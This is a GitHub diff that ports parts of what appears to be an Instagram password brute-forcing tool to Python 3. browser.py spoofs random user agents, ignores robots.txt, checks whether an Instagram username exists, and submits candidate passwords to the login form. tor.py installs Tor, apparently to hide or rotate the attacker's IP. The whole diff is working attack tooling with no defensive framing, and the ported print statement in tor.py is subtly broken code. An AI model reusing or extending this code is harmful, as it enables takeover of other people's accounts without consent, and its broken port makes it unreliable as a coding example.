Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
118 changes: 62 additions & 56 deletions Core/browser.py
Original file line number Diff line number Diff line change
@@ -1,61 +1,67 @@
import json
import random
import requests
import cookielib
import http.cookiejar as cookielib
import mechanize

class Browser(object)
def __init__(self):
self.br = None

def createBrowser(self):
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_cookiejar(cookielib.LWPCookieJar())
br.addheaders=[('User-agent',self.useragent())]
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
self.br = br

def deleteBrowser(self):
self.br.close()
del self.br

def getIp(self):
try:
return json.loads(requests.get('https://api.ipify.org/?format=json').text)['ip']
except KeyboardInterrupt:self.kill()
except:pass

def exists(self,name):
try:
html = requests.get('https://instagram.com/{}'.format(name)).text
return True if '@{}'.format(name.lower()) in html else False
except KeyboardInterrupt:self.kill()
except:return

def login(self,password):
if any([not self.alive,self.isFound]):
return

try:
self.display(password)
self.br.open(self.url)
self.br.select_form(nr=0)
self.br.form[self.form1] = self.username
self.br.form[self.form2] = password
return self.br.submit().read()
except KeyboardInterrupt:self.kill()
except:return

def useragent(self):
useragents = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2',
'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6',
'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']
return random.choice(useragents)
class Browser(object):
def __init__(self):
self.br = None

def createBrowser(self):
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_cookiejar(cookielib.LWPCookieJar())
br.addheaders = [('User-agent', self.useragent())]
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
self.br = br

def deleteBrowser(self):
self.br.close()
del self.br

def getIp(self):
try:
return json.loads(requests.get('https://api.ipify.org/?format=json').text)['ip']
except KeyboardInterrupt:
self.kill()
except:
pass

def exists(self, name):
try:
html = requests.get('https://instagram.com/{}'.format(name)).text
return True if '@{}'.format(name.lower()) in html else False
except KeyboardInterrupt:
self.kill()
except:
return False

def login(self, password):
if any([not self.alive, self.isFound]):
return

try:
self.display(password)
self.br.open(self.url)
self.br.select_form(nr=0)
self.br.form[self.form1] = self.username
self.br.form[self.form2] = password
return self.br.submit().read()
except KeyboardInterrupt:
self.kill()
except:
pass

def useragent(self):
useragents = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2',
'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6',
'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']
return random.choice(useragents)
2 changes: 1 addition & 1 deletion Core/tor.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ def __init__(self):

def installTor(self):
subprocess.call(['clear'])
print '{0}[{1}-{0}]{2} Installing Tor, Please Wait {3}...{2}'.\
print('{0}[{1}-{0}]{2} Installing Tor, Please Wait {3}...{2}').\
format(self.y,self.r,self.n,self.g);time.sleep(3)
cmd = ['apt-get','install','tor','-y']
subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait()
Expand Down
Loading